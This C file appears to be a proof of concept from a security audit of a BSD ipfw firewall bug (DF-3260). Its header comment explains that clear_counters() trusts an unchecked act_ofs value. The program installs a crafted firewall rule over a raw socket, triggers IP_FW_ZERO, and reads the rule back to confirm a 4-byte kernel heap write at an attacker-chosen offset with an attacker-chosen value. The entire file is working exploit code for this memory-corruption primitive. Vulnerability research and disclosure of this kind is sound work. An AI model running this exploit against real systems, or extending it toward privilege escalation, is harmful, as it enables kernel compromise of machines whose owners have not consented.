DF-3260 / poc_write.c
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 | /* * DF-3260 PoC 2 (v3) -- deterministic demonstration of the clear_counters() * OOB WRITE primitive (sys/net/ipfw/ip_fw2.c:5207-5214). * * clear_counters(rule): * l = (ipfw_insn_log *)ACTION_PTR(rule); // cmd + act_ofs*4 * if (l->o.opcode == O_LOG) // byte at +0 * l->log_left = l->max_log; // 4-byte store at +8 * // value = 4 bytes at +4 * * act_ofs is copied verbatim from the user rule (ip_fw2.c:4515) and never * validated (DF-0261, read side). This PoC shows the STORE itself executes * with fully attacker-controlled OFFSET (act_ofs, 0..65535 -> up to +256KB) * and fully attacker-controlled VALUE (the 4 bytes at ACTION_PTR+4), by * pointing act_ofs at the rule's own O_LOG operand word: * * cmd[0] = O_LOG insn (len 3) * cmd[1] = max_log = 0x00000128 <-- ACTION_PTR; low byte 0x28 == O_LOG * cmd[2] = log_left * cmd[3] = O_ACCEPT insn = 0x0000012b <-- store lands here (+8) * * After IP_FW_ZERO the last instruction word reads back 0x00000128 * (the chosen max_log value) instead of 0x0000012b -- a 4-byte kernel * heap write with chosen offset and chosen value, observed via IP_FW_GET. * No crash, no guessing; the same store with act_ofs > cmd_len is the * cross-object/OOB form (see VERDICT.md). */ #include <sys/types.h> #include <sys/socket.h> #include <netinet/in.h> #include <string.h> #include <stdio.h> #include <stdlib.h> #include <unistd.h> #define O_LOG 40 #define O_ACCEPT 43 #define IP_FW_ADD 50 #define IP_FW_ZERO 53 #define IP_FW_GET 54 struct ioc_rule { uint16_t act_ofs; uint16_t cmd_len; uint16_t rulenum; uint8_t set; uint8_t usr_flags; uint32_t set_disable; uint32_t static_count; uint32_t static_len; uint64_t pcnt; uint64_t bcnt; uint32_t timestamp; uint8_t reserved[16]; uint32_t cmd[64]; }; #define INSN(op, len, arg1) ((op) | ((len) << 8) | ((arg1) << 16)) static struct ioc_rule * find_rule(unsigned char *buf, socklen_t len, uint16_t rulenum) { struct ioc_rule *rr = (struct ioc_rule *)buf; while ((unsigned char *)rr < buf + len) { if (rr->rulenum == rulenum) return rr; rr = (struct ioc_rule *)((unsigned char *)rr + 60 + rr->cmd_len * 4); } return NULL; } int main(void) { static unsigned char buf[65536]; struct ioc_rule r, *rr; socklen_t len; int s; s = socket(AF_INET, SOCK_RAW, IPPROTO_RAW); if (s < 0) { perror("raw socket"); exit(1); } memset(&r, 0, sizeof(r)); r.rulenum = 2000; r.cmd_len = 4; r.act_ofs = 1; /* ACTION_PTR -> &cmd[1] (max_log) */ r.cmd[0] = INSN(O_LOG, 3, 0); r.cmd[1] = 0x00000128; /* max_log: low byte 0x28 == O_LOG */ r.cmd[2] = 0x00000128; /* log_left (set by validation) */ r.cmd[3] = INSN(O_ACCEPT, 1, 0); /* 0x0000012b -- write target */ if (setsockopt(s, IPPROTO_IP, IP_FW_ADD, &r, 60 + 16) != 0) { perror("IP_FW_ADD"); exit(1); } printf("[+] rule 2000 installed (cmd_len=4, act_ofs=1)\n"); len = sizeof(buf); if (getsockopt(s, IPPROTO_IP, IP_FW_GET, buf, &len) != 0) { perror("IP_FW_GET baseline"); exit(1); } rr = find_rule(buf, len, 2000); if (rr == NULL) { printf("[-] rule not found\n"); exit(1); } printf("[+] baseline cmd[3] = 0x%08x\n", rr->cmd[3]); if (setsockopt(s, IPPROTO_IP, IP_FW_ZERO, &(int){2000}, sizeof(int)) != 0) { perror("IP_FW_ZERO"); exit(1); } printf("[+] IP_FW_ZERO(2000) done -> clear_counters() store fired\n"); len = sizeof(buf); if (getsockopt(s, IPPROTO_IP, IP_FW_GET, buf, &len) != 0) { perror("IP_FW_GET after"); exit(1); } rr = find_rule(buf, len, 2000); if (rr == NULL) { printf("[-] rule not found\n"); exit(1); } printf("[+] after cmd[3] = 0x%08x\n", rr->cmd[3]); if (rr->cmd[3] == 0x00000128) { printf("[!!] 4-BYTE KERNEL HEAP WRITE CONFIRMED: cmd[3] " "0x0000012b -> 0x00000128 (value=max_log, " "offset=act_ofs*4+8, both attacker-chosen)\n"); return 0; } printf("[-] cmd[3] unchanged\n"); return 2; } |